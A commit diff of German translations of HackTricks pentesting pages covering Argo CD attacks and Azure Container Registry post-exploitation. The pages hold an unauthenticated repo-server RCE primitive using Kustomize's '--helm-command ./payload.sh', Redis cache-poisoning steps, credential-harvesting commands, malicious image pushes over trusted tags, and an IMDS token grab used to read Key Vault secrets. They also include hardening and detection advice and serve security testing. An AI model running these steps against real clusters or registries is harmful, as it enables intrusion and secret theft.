Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/RE

This commit is contained in:
Translator
2026-07-19 09:25:15 +00:00
parent dabce73b87
commit cbfdf79c3d
5 changed files with 218 additions and 122 deletions
Binary file not shown.
+85 -84
View File
@@ -1,17 +1,17 @@
# Argo CD Security
# Argo CD Sicherheit
{{#include ../banners/hacktricks-training.md}}
## Grundlegende Informationen
[Argo CD](https://argo-cd.readthedocs.io/) ist eine GitOps-Continuous-Delivery-Plattform für Kubernetes. Sie überwacht Git-Repositories, rendert Kubernetes-Manifeste mit Tools wie Helm, Kustomize, Jsonnet oder config management plugins und gleicht den Live-Cluster-Status mit dem gewünschten Status ab, der in Git gespeichert ist.
[Argo CD](https://argo-cd.readthedocs.io/) ist eine GitOps-Continuous-Delivery-Plattform für Kubernetes. Sie überwacht Git-Repositories, rendert Kubernetes-Manifeste mit Tools wie Helm, Kustomize, Jsonnet oder Config-Management-Plugins und gleicht den Zustand des laufenden Clusters mit dem in Git gespeicherten gewünschten Zustand ab.
Aus Sicht eines Angreifers sollte Argo CD als eine **Deployment-Engine mit Kubernetes-Anmeldedaten** betrachtet werden. Ein erfolgreicher Kompromiss von Argo CD kann zu Folgendem führen:
Aus Sicht eines Angreifers sollte Argo CD als **Deployment-Engine mit Kubernetes-Credentials** betrachtet werden. Eine erfolgreiche Kompromittierung von Argo CD kann zu Folgendem führen:
- Zugriff auf private Git-Repositories und Repository-Anmeldedaten.
- Zugriff auf private Git-Repositories und Repository-Credentials.
- Zugriff auf Kubernetes-Cluster-Secrets, die von Argo CD verwendet werden.
- Code Execution zur Manifest-Generierung in `argocd-repo-server`.
- Unautorisierte Bereitstellung von Kubernetes-Objekten über vertrauenswürdige Git-Repositories, Argo-CD-Applications oder Cache-Manipulation.
- Codeausführung bei der Manifest-Generierung in `argocd-repo-server`.
- Unbefugtes Deployment von Kubernetes-Objekten über vertrauenswürdige Git-Repositories, Argo CD Applications oder Cache-Manipulation.
## Architektur & interessante Komponenten
@@ -24,21 +24,21 @@ kubectl get networkpolicy -n argocd 2>/dev/null
```
Interessante Services:
- **`argocd-server`**: öffentliche API, Web-UI, CLI-API, Authentication und Authorization.
- **`argocd-application-controller`**: vergleicht gewünschten und aktuellen Zustand und wendet dann Ressourcen auf Kubernetes an.
- **`argocd-repo-server`**: klont Repositories, cached Git-Daten und führt Helm/Kustomize/Jsonnet/plugins aus, um Manifests zu generieren. Der standardmäßige gRPC-Port ist **8081**.
- **`argocd-server`**: öffentliche API, Web-UI, CLI-API, Authentifizierung und Autorisierung.
- **`argocd-application-controller`**: vergleicht den gewünschten und den aktuellen Status und wendet anschließend Ressourcen auf Kubernetes an.
- **`argocd-repo-server`**: klont Repositories, cached Git-Daten und führt Helm/Kustomize/Jsonnet/Plugins aus, um Manifeste zu generieren. Der standardmäßige gRPC-Port ist **8081**.
- **`argocd-redis`**: Cache für Application-, Manifest- und Git-Referenzdaten. Der standardmäßige Redis-Port ist **6379**.
- **`argocd-applicationset-controller`**: generiert Argo CD `Application`-Objekte aus Generatoren wie Git, SCM, Clustern und pull requests.
- **`argocd-applicationset-controller`**: generiert Argo-CD-`Application`-Objekte aus Generatoren wie Git, SCM, Clustern und Pull Requests.
Von einem kompromittierten Pod oder internen Netzwerksegment aus die interne Erreichbarkeit prüfen:
Prüfe von einem kompromittierten Pod oder einem internen Netzwerksegment aus die interne Erreichbarkeit:
```bash
nc -vz <argocd-server> 443
nc -vz <argocd-repo-server> 8081
nc -vz <argocd-redis> 6379
```
## Public API / UI Attacks
## Angriffe auf öffentliche APIs / UIs
Wenn du Argo CD-Credentials oder eine exponierte Instanz hast, beginne mit der normalen API-Oberfläche:
Wenn du über Argo CD-Zugangsdaten oder eine exponierte Instanz verfügst, beginne mit der normalen API-Angriffsfläche:
```bash
argocd login <argocd-server>
argocd account get-user-info
@@ -49,15 +49,15 @@ argocd repo list
argocd cluster list
argocd admin settings rbac can <subject> <action> <resource> <object>
```
Nützliche Angriffspfade:
Nützliche Angriffswege:
- **Application write access**: `source.repoURL`, `source.path`, Helm values, Kustomize-Optionen, Plugin-Einstellungen oder Sync-Optionen ändern, damit Argo CD vom Angreifer kontrollierte Manifests deployt.
- **Project misconfiguration**: `AppProject`-Objekte können breite `sourceRepos`, breite `destinations`, unsichere `clusterResourceWhitelist` oder schwache Namespace-Einschränkungen erlauben.
- **Repository credential abuse**: Repository-Secrets, GitHub-App-Credentials, SSH-Keys und Tokens können das Pushen in vertrauenswürdige Repos oder das Hinzufügen bösartiger Abhängigkeiten ermöglichen.
- **Cluster credential abuse**: Cluster-Secrets können Bearer-Tokens oder exec-provider-Konfiguration enthalten, die von Argo CD verwendet werden, um in Ziel-Cluster zu deployen.
- **Local admin / project tokens**: Lang lebige Argo CD-Tokens können über die API wiederverwendet werden, solange sie nicht widerrufen oder abgelaufen sind.
- **Schreibzugriff auf Applications**: `source.repoURL`, `source.path`, Helm values, Kustomize options, Plugin-Einstellungen oder Sync-Optionen ändern, sodass Argo CD vom Angreifer kontrollierte Manifeste deployt.
- **Fehlkonfiguration des Projects**: `AppProject`-Objekte können weit gefasste `sourceRepos`, weit gefasste `destinations`, unsichere `clusterResourceWhitelist` oder unzureichende Namespace-Beschränkungen erlauben.
- **Missbrauch von Repository-Credentials**: Repository-Secrets, GitHub App-Credentials, SSH-Keys und Tokens können das Pushen in vertrauenswürdige Repositories oder das Hinzufügen bösartiger Dependencies ermöglichen.
- **Missbrauch von Cluster-Credentials**: Cluster-Secrets können Bearer-Tokens oder eine Exec-Provider-Konfiguration enthalten, die Argo CD für Deployments in Ziel-Cluster verwendet.
- **Lokale Admin-/Project-Tokens**: Lang gültige Argo-CD-Tokens können über die API wiederverwendet werden, sofern sie nicht widerrufen wurden oder abgelaufen sind.
Enumerate configuration from Kubernetes when you have cluster read access:
Konfiguration aus Kubernetes auflisten, wenn du Lesezugriff auf den Cluster hast:
```bash
kubectl get applications.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,65 +65,65 @@ kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
```
## Trusted Git Repository Abuse
## Missbrauch vertrauenswürdiger Git-Repositories
Wenn du in ein Repository pushen kannst, dem Argo CD vertraut, kannst du normalerweise beeinflussen, was deployed wird. Der Impact hängt von den `AppProject`-Grenzen und den Service-Account-Berechtigungen ab, die der application controller verwendet.
Wenn du in ein von Argo CD als vertrauenswürdig eingestuftes Repository pushen kannst, kannst du normalerweise beeinflussen, was deployed wird. Die Auswirkungen hängen von den Grenzen des `AppProject` und den Berechtigungen des Service Accounts ab, die vom Application Controller verwendet werden.
Häufige Payload-Positionen:
Häufige Speicherorte für Payloads:
- Raw Kubernetes YAML unter einem application path.
- Helm chart templates und `values.yaml`.
- Kustomize overlays, remote bases und generators.
- Jsonnet oder config management plugin input.
- ApplicationSet generator files, die `Application`-Objekte erstellen oder updaten.
- Unverändertes Kubernetes-YAML unter einem Application-Pfad.
- Helm-Chart-Templates und `values.yaml`.
- Kustomize-Overlays, Remote-Bases und Generatoren.
- Jsonnet- oder Config-Management-Plugin-Eingaben.
- ApplicationSet-Generator-Dateien, die `Application`-Objekte erstellen oder aktualisieren.
Prüfe, ob die app automated sync, pruning, self-heal, sync windows oder manual approvals verwendet:
Prüfe, ob die App automatisierte Synchronisierung, Pruning, Self-Healing, Sync Windows oder manuelle Freigaben verwendet:
```bash
kubectl get applications.argoproj.io -A \
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
```
## Direktes Missbrauchen von `argocd-repo-server`
## Direkter Missbrauch von `argocd-repo-server`
Gehe nicht davon aus, dass die öffentliche Argo CD API die einzige Angriffsfläche ist. Interne Argo CD-Komponenten kommunizieren mit `argocd-repo-server` über gRPC. Wenn beliebige Pods repo-server erreichen können, können angreifer-kontrollierte interne Requests die Checks umgehen, die normalerweise von `argocd-server` erzwungen werden.
Gehe nicht davon aus, dass die öffentliche Argo-CD-API die einzige Angriffsfläche ist. Interne Argo-CD-Komponenten kommunizieren über gRPC mit `argocd-repo-server`. Wenn beliebige Pods `repo-server` erreichen können, können vom Angreifer kontrollierte interne Anfragen Prüfungen umgehen, die normalerweise von `argocd-server` erzwungen werden.
Praktische Checks:
Praktische Prüfungen:
```bash
kubectl get svc -n argocd argocd-repo-server -o yaml
kubectl get endpoints -n argocd argocd-repo-server -o wide
nc -vz <argocd-repo-server> 8081
```
Interessante Anzeichen:
Interessante Hinweise:
- Der repo-server gRPC endpoint ist von Non-Argo CD pods aus erreichbar.
- NetworkPolicies fehlen oder erlauben nur allow-list egress ohne ingress zu deny.
- Der repo-server hat Zugriff auf custom config management plugins, decryption tools oder repository content von mehreren tenants.
- Redis ist von Non-Argo CD pods aus erreichbar, was cache inspection oder tampering erlaubt, wenn Credentials verfügbar sind oder nicht erforderlich sind.
- Der gRPC-Endpunkt des repo-server ist von Nicht-Argo-CD-Pods aus erreichbar.
- NetworkPolicies fehlen oder erlauben nur Egress per Allowlist, ohne Ingress zu verweigern.
- Der repo-server hat Zugriff auf benutzerdefinierte Config-Management-Plugins, Decryption-Tools oder Repository-Inhalte mehrerer Tenants.
- Redis ist von Nicht-Argo-CD-Pods aus erreichbar, wodurch eine Untersuchung oder Manipulation des Caches möglich ist, wenn Credentials verfügbar sind oder nicht benötigt werden.
## Unauthenticated Repo-Server RCE via Kustomize Options
Im Juli 2026 veröffentlichte Synacktiv eine unauthenticated code execution chain in Argo CD's `repo-server`, wenn ein attacker den internen gRPC service erreichen kann. Der Angriff missbraucht direkten Zugriff auf `/repository.RepoServerService/GenerateManifest` und attacker-controlled `KustomizeOptions`.
Im Juli 2026 veröffentlichte Synacktiv eine unauthenticated Code-Execution-Kette in Argo CD, wenn ein Angreifer den internen gRPC-Service erreichen kann. Der Angriff missbraucht den direkten Zugriff auf `/repository.RepoServerService/GenerateManifest` und vom Angreifer kontrollierte `KustomizeOptions`.
Die gefährliche primitive ist, den repo-server dazu zu bringen, attacker-controlled repository content zu klonen und Kustomize mit Helm support auszuführen:
Das gefährliche Primitive besteht darin, den repo-server dazu zu zwingen, von einem vom Angreifer kontrollierten Repository Inhalte zu klonen und Kustomize mit Helm-Unterstützung auszuführen:
```bash
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
```
Minimal bösartige Kustomize-Eingabe muss Helm-Verarbeitung auslösen:
Minimale bösartige Kustomize-Eingabe muss die Helm-Verarbeitung auslösen:
```yaml
helmCharts:
- name: pwn
version: 0.0.1
```
Warum das funktioniert:
Warum dies funktioniert:
- `argocd-repo-server` klont das Repository vor dem Rendern.
- `argocd-repo-server` klont das Repository vor dem Rendering.
- `--helm-command ./payload.sh` wird relativ zum geklonten Repository aufgelöst.
- Code execution erfordert keine Shell-Metazeichen-Injection, wenn der Angreifer das gerenderte Repository und die Kustomize build-Optionen kontrollieren kann.
- Code execution erfordert keine Injektion von Shell-Metazeichen, wenn der Angreifer das gerenderte Repository und die Kustomize-Build-Optionen kontrollieren kann.
Zum Zeitpunkt der Offenlegung durch Synacktiv am 1. Juli 2026 berichteten sie, dass es für das Problem keinen offiziellen Fix oder CVE gab. Behandle dies zuerst als ein network-exposure-Problem: Eine Ausnutzung erfordert Erreichbarkeit des internen repo-server gRPC ports.
Zum Zeitpunkt der Offenlegung durch Synacktiv am 1. Juli 2026 berichteten sie, dass es für das Problem keinen offiziellen Fix und keine CVE gab. Behandle dies zunächst als ein Network-Exposure-Problem: Die Ausnutzung erfordert Erreichbarkeit des internen repo-server-gRPC-Ports.
## Redis Cache Poisoning zum Bereitstellen von Manifests
## Redis Cache Poisoning zum Deployen von Manifests
Nach Code execution in `argocd-repo-server` oder nach direktem Zugriff auf Redis mit gültigen Anmeldedaten solltest du die Redis-gestützten Cache-Einträge prüfen. Argo CD speichert häufig gzip-komprimierte JSON-Werte.
Nach der Code execution in `argocd-repo-server` oder nach direktem Zugriff auf Redis mit gültigen Credentials solltest du die von Redis verwalteten Cache-Einträge untersuchen. Argo CD speichert üblicherweise gzip-komprimierte JSON-Werte.
Interessante Key-Präfixe:
```text
@@ -132,37 +132,37 @@ git-refs|... # Git branch/ref to commit mappings
app|... # application resource/cache data
cluster|... # cluster cache information
```
Der Cache-Poisoning-Angriff, der von Synacktiv beschrieben wird, missbraucht zwei Zustände:
Der von Synacktiv beschriebene Cache-Poisoning-Angriff missbraucht zwei Zustände:
1. Ändere den relevanten `mfst|...` manifest cache-Eintrag, um ein von einem Angreifer kontrolliertes Kubernetes-Manifest einzuschließen.
2. Ändere das zugehörige `git-refs|...` Mapping, damit Argo CD glaubt, dass sich der Branch verschoben hat, und dann wieder auf die gecachte Revision zurück reconciles.
1. Den relevanten `mfst|...`-Manifest-Cache-Eintrag so ändern, dass er ein vom Angreifer kontrolliertes Kubernetes-Manifest enthält.
2. Das zugehörige `git-refs|...`-Mapping so ändern, dass Argo CD glaubt, der Branch habe sich geändert, und anschließend mit der gecachten Revision synchronisiert.
Impact:
Auswirkungen:
- Mit aktiviertem Auto Sync kann Argo CD das vergiftete gecachte Manifest automatisch anwenden.
- Ohne Auto Sync kann der Payload trotzdem angewendet werden, wenn ein User die Application manuell syncs.
- Der endgültige Impact wird durch das Ziel der Application und die Kubernetes-Berechtigungen begrenzt, die Argo CD zur Verfügung stehen.
- Wenn Auto Sync aktiviert ist, kann Argo CD das manipulierte gecachte Manifest automatisch anwenden.
- Ohne Auto Sync kann die Payload weiterhin angewendet werden, wenn ein Benutzer die Application manuell synchronisiert.
- Die endgültigen Auswirkungen sind durch das Ziel der betroffenen Application und die für Argo CD verfügbaren Kubernetes-Berechtigungen begrenzt.
## ApplicationSet Attacks
## Angriffe auf ApplicationSet
ApplicationSet ist besonders sensibel, weil es `Application`-Objekte aus Generator-Output erstellt oder aktualisiert.
ApplicationSet ist besonders sensibel, da es `Application`-Objekte aus dem Generator-Output erstellt oder aktualisiert.
Review:
Überprüfung:
```bash
kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml
```
Interessante Muster:
- Git generators lesen von angreifbar schreibbaren Dateien, die App-Namen, Pfade, Projects oder destinations steuern.
- Pull request generators für öffentliche Repositories, bei denen nicht vertrauenswürdige Contributor generierte applications beeinflussen können.
- Template-Felder, die breite destination clusters/namespaces erlauben.
- AppProjects, die `sourceRepos: ["*"]` oder breite `destinations` erlauben.
- Generierte applications, die automated sync und pruning erben.
- Git generators, die angreiferbeschreibbare Dateien lesen, welche App-Namen, Pfade, Projekte oder Ziele steuern.
- Pull request generators für öffentliche Repositories, bei denen nicht vertrauenswürdige Beitragende Einfluss auf generierte Anwendungen nehmen können.
- Template-Felder, die weitreichende Ziel-Cluster/Namensräume erlauben.
- AppProjects, die `sourceRepos: ["*"]` oder weitreichende `destinations` erlauben.
- Generierte Anwendungen, die automatisierte Synchronisierung und Pruning übernehmen.
## Post-Exploitation
Von einer Argo CD pod shell aus priorisieren:
Aus einer Argo-CD-Pod-Shell heraus hat Priorität:
```bash
env
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
@@ -171,24 +171,24 @@ mount | grep -E 'secret|token|config'
```
Nützliche Ziele:
- Steal `REDIS_PASSWORD` oder Redis TLS/client material.
- Extrahiere Repository-Credentials aus gemounteten Secrets oder Argo CD Kubernetes Secrets.
- Identifiziere Cluster-Credentials, die von Argo CD verwendet werden.
- Lies generierte Manifeste und Plugin-Output, die injizierte Secrets enthalten können.
- Prüfe, ob custom plugins, SOPS, Helm secrets, Vault plugins oder cloud CLIs Decryption Keys und Cloud-Credentials preisgeben.
- `REDIS_PASSWORD` oder Redis TLS/client-Material stehlen.
- Repository-Credentials aus gemounteten Secrets oder Argo CD Kubernetes-Secrets extrahieren.
- Die von Argo CD verwendeten Cluster-Credentials identifizieren.
- Generierte Manifests und Plugin-Output lesen, die injizierte Secrets enthalten können.
- Prüfen, ob benutzerdefinierte Plugins, SOPS, Helm secrets, Vault plugins oder cloud CLIs Decryption Keys und Cloud-Credentials offenlegen.
## Detection & Hardening
Wichtige Prüfungen:
- Beschränke den `argocd-repo-server`-Port **8081** und den Redis-Port **6379** mit NetworkPolicies, sodass nur erwartete Argo CD-Komponenten sie erreichen können.
- Prüfe in Helm deployments, ob NetworkPolicies tatsächlich erstellt werden. Argo CD Helm chart values haben historisch die Erstellung von Component Network Policies standardmäßig deaktiviert.
- Verwende `argocd-server` als authentifizierten Einstiegspunkt. Interne Services sollten nicht für beliebige Workloads erreichbar sein.
- Deaktiviere nicht verwendete config management tools und plugins.
- Beschränke `AppProject` `sourceRepos`, `destinations`, Namespace-Berechtigungen und cluster-scoped resources.
- Vermeide das Speichern breit gefasster Repository-Credentials, bei denen ein niedrig privilegierter Argo CD user deren Wiederverwendung auslösen kann.
- Überwache Repo-server-Requests, Kustomize build options, Plugin-Ausführungen, Redis-Writes und unerwarteten Zugriff auf `mfst|` / `git-refs|` Keys.
- Rotiere Argo CD local users, project tokens, repository credentials und cluster credentials nach einem Kompromiss.
- Den `argocd-repo-server`-Port **8081** und den Redis-Port **6379** mit NetworkPolicies einschränken, sodass nur erwartete Argo CD-Komponenten darauf zugreifen können.
- Bei Helm deployments überprüfen, ob Network Policies tatsächlich erstellt werden. Die Werte des Argo CD Helm chart haben die Erstellung von Network Policies für Komponenten historisch standardmäßig deaktiviert.
- `argocd-server` als authentifizierten Einstiegspunkt beibehalten. Interne Services sollten von beliebigen Workloads aus nicht erreichbar sein.
- Nicht verwendete config management tools und plugins deaktivieren.
- `AppProject` `sourceRepos`, `destinations`, Namespace-Berechtigungen und cluster-scoped resources einschränken.
- Vermeiden, weitreichende Repository-Credentials dort zu speichern, wo ein Argo CD user mit niedrigen Berechtigungen deren Wiederverwendung auslösen kann.
- Repo-server requests, Kustomize build options, plugin executions, Redis writes und unerwarteten Zugriff auf `mfst|`- / `git-refs|`-Keys überwachen.
- Argo CD local users, project tokens, Repository-Credentials und Cluster-Credentials nach einer Kompromittierung rotieren.
Nützliche Befehle:
```bash
@@ -197,23 +197,24 @@ kubectl get networkpolicy -A | grep -i argocd
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
```
## Statische Analyse-Hinweis: Typed API Requests in CodeQL
## Hinweis zur statischen Analyse: Typisierte API-Anfragen in CodeQL
Für Go-Services mit gRPC/REST-Handlern können die default CodeQL remote sources Flows übersehen, sobald raw input in typed request objects unmarshalled wurde. Ein nützliches Model für Argo CD-style Services ist:
Bei Go-Diensten, die gRPC/REST-Handler verwenden, können die standardmäßigen CodeQL-Remote-Sources Datenflüsse übersehen, sobald Raw Input in typisierte Request-Objekte unmarshaled wurde. Ein nützliches Modell für Argo CD-ähnliche Dienste ist:
- Receiver type wie `Server` oder `Service`.
- Der erste parameter ist `context.Context`.
- Der zweite parameter ist ein typed request object.
- Receiver-Typ wie `Server` oder `Service`.
- Erster Parameter ist `context.Context`.
- Zweiter Parameter ist ein typisiertes Request-Objekt.
Modelliere diesen zweiten parameter als remote source und füge custom sinks für `exec.Command` / `exec.CommandContext` arguments hinzu. Das hilft, Flows von internen API request fields in command execution helpers zu finden.
Modellieren Sie diesen zweiten Parameter als Remote-Source und fügen Sie benutzerdefinierte Sinks für Argumente von `exec.Command` / `exec.CommandContext` hinzu. Dadurch lassen sich Datenflüsse von Feldern interner API-Requests zu Command-Execution-Helpern erkennen.
## References
## Referenzen
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Argo CD docs - Sicherheitshinweise](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo CD docs - Metriken](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
{{#include ../banners/hacktricks-training.md}}
@@ -6,4 +6,8 @@
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#ref}}
az-container-registry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,87 @@
# Az - Container Registry Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Weitere Informationen zu diesem Service:
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
Eine Identität mit ACR Management-Plane-Zugriff kann diesen Zugriff in **wiederverwendbare Docker-Credentials** umwandeln. Wenn der **admin user** deaktiviert ist, der Principal jedoch ebenfalls über `registries/write` verfügt, kann er ihn aktivieren, die Passwörter abrufen und sich direkt bei `<registry>.azurecr.io` authentifizieren.
```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```
Dies ist nützlich, weil die wiederhergestellten Zugangsdaten außerhalb der Azure CLI wiederverwendet werden können, um Registry-Inhalte zu **auflisten, abzurufen, hochzuladen, zu überschreiben und manchmal zu löschen**, bis das Administratorkonto deaktiviert oder die Passwörter geändert wurden.
### `Microsoft.ContainerRegistry/registries/pull/read`
Verwende Pull-Zugriff für die **Repository-Aufklärung** und die **Suche nach Secrets** in Images. Überprüfe sowohl die endgültige Containerkonfiguration als auch die historischen Dateisystem-Layer, da Dateien, die in einen Layer kopiert wurden, möglicherweise weiterhin wiederhergestellt werden können, selbst wenn sie später gelöscht wurden.
```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```
Zu den hochwertigen Zielen gehören **Umgebungsvariablen**, **Anwendungskonfigurationen**, **Deployment-Skripte**, **Zertifikate**, **Zugriffstokens** und **Verbindungszeichenfolgen**. Weitere Ideen beim Überprüfen von Layern findest du auf der Docker-forensics-Seite:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `Microsoft.ContainerRegistry/registries/push/write`
Push-Zugriff ermöglicht es einem Angreifer, **vertrauenswürdige Repositories zu vergiften** oder **veränderliche Tags** wie `latest`, `prod` oder `stable` zu überschreiben. Jeder Workload, der weiterhin anhand eines Tags statt eines Digests deployed wird, kann beim nächsten Deployment, Scale-out-Ereignis oder Neustart das Image des Angreifers abrufen.
```bash
# Retag an existing local image for the target ACR
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
# If your workstation architecture differs from the target runtime, build for the consumer platform first
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```
Vor dem Ersetzen eines Tags sollte überprüft werden, welche Repositories und Tags von nachgelagerten Workloads tatsächlich verwendet werden. **Digest-pinned** Consumer (`@sha256:...`) lassen sich deutlich schwerer umleiten als tag-basierte Consumer.
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
Wenn sowohl das **von einem nachgelagerten Container-Workload verwendete Image ersetzt** als auch dieser Workload **neu gestartet** werden kann, wird der bösartige entrypoint im **Netzwerk- und Managed-Identity-Kontext** des Zielcontainers ausgeführt. Von dort kann das Image Tokens von IMDS anfordern und auf Azure-Ressourcen zugreifen, die über die Identität dieses Workloads erreichbar sind.
```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```
Dies wandelt ein ACR tag overwrite in **code execution**, **secret theft** oder **lateral movement** innerhalb jedes Container-Consumers um, der dem geänderten Tag vertraut und eine nützliche Identität offenlegt.
### Zugehöriger privesc-Pfad: Von ACR Tasks verwaltete Identitäten
Wenn du außerdem über `Microsoft.ContainerRegistry/registries/tasks/write` und `Microsoft.ContainerRegistry/registries/runs/write` verfügst, wechsle zum ACR-privesc-Pfad und missbrauche die managed identity des Tasks direkt:
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Referenzen
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,37 +4,37 @@
## Grundlegende Informationen
Azure Container Registry (ACR) ist ein sicheres, privates Registry, mit dem du **Container-Images in der Azure cloud speichern, verwalten und darauf zugreifen kannst**. Es integriert sich nahtlos mit mehreren Azure-Services und bietet automatisierte Build- und Deployment-Workflows im großen Maßstab. Mit Funktionen wie geo-replication und vulnerability scanning hilft ACR, Enterprise-Grade-Sicherheit und Compliance für containerisierte Anwendungen sicherzustellen.
Azure Container Registry (ACR) ist eine sichere, private Registry, mit der du **Container-Images in der Azure cloud speichern, verwalten und darauf zugreifen** kannst. Sie lässt sich nahtlos in mehrere Azure-Services integrieren und bietet automatisierte Build- und Deployment-Workflows im großen Maßstab. Mit Funktionen wie Geo-Replikation und Vulnerability Scanning trägt ACR dazu bei, Sicherheit und Compliance auf Enterprise-Niveau für containerisierte Anwendungen sicherzustellen.
### Permissions
### Berechtigungen
Dies sind die **verschiedenen Permissions** [laut den docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), die für ein Container Registry vergeben werden können:
Dies sind die **verschiedenen Berechtigungen**, die [laut Dokumentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) für eine Container Registry vergeben werden können:
- Access Resource Manager
- Create/delete registry
- Push image
- Pull image
- Delete image data
- Change policies
- Sign images
- Zugriff auf den Resource Manager
- Registry erstellen/löschen
- Image pushen
- Image pullen
- Image-Daten löschen
- Richtlinien ändern
- Images signieren
Es gibt außerdem einige **integrierte roles**, die zugewiesen werden können, und es ist auch möglich, **custom roles** zu erstellen.
Es gibt außerdem einige **integrierte Rollen**, die zugewiesen werden können, und es ist auch möglich, **benutzerdefinierte Rollen** zu erstellen.
![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
![Berechtigungsmatrix der integrierten Azure Container Registry-Rollen zur Verwaltung von Registry-, Image-, Daten-, Richtlinien- und Signierungsaktionen](/images/registry_roles.png)
### Authentication
### Authentifizierung
> [!WARNING]
> Es ist sehr wichtig, dass du immer **Kleinbuchstaben** zum login, pushen und pullen von Images verwendest, auch wenn der Registry-Name einige Großbuchstaben enthält.
> Es ist **sehr wichtig**, dass du dich zum Login, Pushen und Pullen von Images immer mit **Kleinbuchstaben** anmeldest, selbst wenn der Name der Registry einige Großbuchstaben enthält.
Es gibt 4 Möglichkeiten, sich bei einem ACR zu authentifizieren:
Es gibt 4 Möglichkeiten, sich bei einer ACR zu authentifizieren:
- **Mit Entra ID**: Das ist die **Standard**-Methode, um sich bei einem ACR zu authentifizieren. Sie verwendet den **`az acr login`**-Befehl zur Authentifizierung beim ACR. Dieser Befehl wird die **credentials** in der Datei **`~/.docker/config.json`** speichern. Wenn du diesen Befehl außerdem in einer Umgebung ohne Zugriff auf einen docker socket ausführst, wie z. B. in einer **cloud shell**, kannst du das Flag **`--expose-token`** verwenden, um das **token** zur Authentifizierung beim ACR zu erhalten. Dann musst du dich mit dem Benutzernamen `00000000-0000-0000-0000-000000000000` authentifizieren, zum Beispiel so: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
